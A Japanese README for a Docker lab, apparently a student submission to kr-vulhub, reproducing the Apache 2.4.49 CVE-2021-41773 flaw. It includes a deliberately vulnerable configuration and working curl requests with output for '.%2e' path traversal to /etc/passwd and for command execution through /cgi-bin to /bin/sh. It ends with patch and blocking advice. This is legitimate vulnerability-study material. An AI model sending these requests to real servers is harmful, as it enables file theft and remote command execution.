
WHS 4期 イ・ヒス。 kr-vulhub 課題提出物
貢献者
Apache HTTP Server 2.4.49には、URLパスを正規化する過程でエンコードされた親パスを適切にブロックできない脆弱性が存在します。
攻撃者は.%2eのような値を使用して、ウェブサーバーが公開するように設定したディレクトリの外に移動できます。外部ディレクトリへのアクセスが許可されている環境では、サーバー内部のファイルが漏洩する可能性があり、CGI機能が有効な場合、システムシェルを実行してリモートコマンド実行につながる可能性があります。
本プロジェクトでは、Dockerを使用してApache HTTP Server 2.4.49環境を直接構築し、以下の2つを再現しました。
/etc/passwdファイルの漏洩CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
次のコマンドでDockerイメージをビルドし、コンテナを実行します
docker compose up -d --build
コンテナの実行状態は次のコマンドで確認します
docker ps
実行結果でコンテナがUp状態であり、ホストの8080番ポートがコンテナの80番ポートに接続されていることを確認します

ブラウザで次のアドレスにアクセスします。
http://localhost:8080
正常にApacheウェブページが表示され、環境構成の完了を確認します

次のコマンドでコンテナ内部のApacheバージョンを確認します
docker compose exec web /usr/local/apache2/bin/httpd -v
実行結果:
Server version: Apache/2.4.49 (Unix)
CVE-2021-41773の影響を受けるApache HTTP Server 2.4.49が実行されていることを確認します

本実習環境では、次の条件が適用されています。
daemonアカウントで実行Apache設定では、次のようにファイルシステムの最上位パスへのアクセスが許可されています。
<Directory "/">
AllowOverride None
Require all granted
</Directory>
また、CGIの実行には次の設定を使用しました。
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
次のリクエストは、エンコードされた親パスを使用してコンテナ内部の/etc/passwdファイルにアクセスします。
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2eはURLデコード後に..として処理されます。
したがって、攻撃者はAliasパスを基準に複数回上位ディレクトリに移動した後、/etc/passwdファイルにアクセスできます。
実行結果:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwdには、ユーザー名、UID、GID、ホームディレクトリ、ログインシェルなどのシステムアカウント情報が保存されています。
実際のパスワードは含まれていませんが、通常の外部ウェブユーザーがアクセスできないはずのサーバー内部ファイルがHTTPリクエストだけで漏洩したという点で、情報漏洩の脆弱性が確認されます。
実際の運用環境では、同じ方法で以下のような機密情報が漏洩する可能性があります。
次のリクエストは、Path Traversalを使用して/bin/shにアクセスし、whoamiコマンドを実行します。
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
実行結果:
daemon

/cgi-bin/パスはScriptAliasで設定されているため、Apacheはそのパスのファイルを単に読み取るのではなく、CGIプログラムとして実行します。
Path Traversalを介して/bin/shにアクセスした後、リクエスト本文に含まれるコマンドを渡すと、Apacheの実行アカウント権限でコマンドが実行されます。
本環境では、Apacheは次のアカウントで実行されます。
User daemon
Group daemon
したがって、コマンド実行結果もdaemonアカウントで出力されました。
root権限ではありませんが、以下のような追加の脅威が発生する可能性があります。
個別のコマンドの代わりにPoCスクリプトを使用して、正常なサービス、Path Traversal、リモートコマンド実行を一度に確認できます。
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
スクリプトは次の項目を順番に確認します。
[1] 正常なサービス確認
[2] Path Traversalによる/etc/passwdへのアクセス
[3] CGIによるidコマンド実行

Apache HTTP Server 2.4.49を使用せず、セキュリティパッチが適用された最新バージョンに更新する必要があります。
運用環境では、ファイルシステムの最上位パスをデフォルトで遮断する必要があります。
<Directory "/">
Require all denied
</Directory>
必要なウェブディレクトリのみ個別に許可します。
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
CGI機能が必要ない場合は、次の機能を無効にします。
mod_cgiScriptAliasExecCGIApacheプロセスはrootではなく、制限されたサービスアカウントで実行し、そのアカウントがアクセスできるファイルやディレクトリを最小限にする必要があります。
以下のような異常なパスを含むリクエストを検出し、遮断する必要があります。
.%2e
%2e%2e
/cgi-bin/
docker compose down
本実習では、Dockerfileを使用してApache HTTP Server 2.4.49をビルドし、Docker Composeを通じて再現可能な脆弱な環境を構成しました。
Path Traversalリクエストにより、通常のウェブユーザーがアクセスできないはずのコンテナ内部の/etc/passwdファイルが漏洩することを確認しました。
また、CGIが有効な環境では、/bin/shにアクセスしてApache実行アカウントであるdaemon権限でシステムコマンドを実行できることを確認しました。
これにより、CVE-2021-41773が単なるパス漏洩だけでなく、環境設定によってリモートコマンド実行につながる脆弱性であることを確認できます。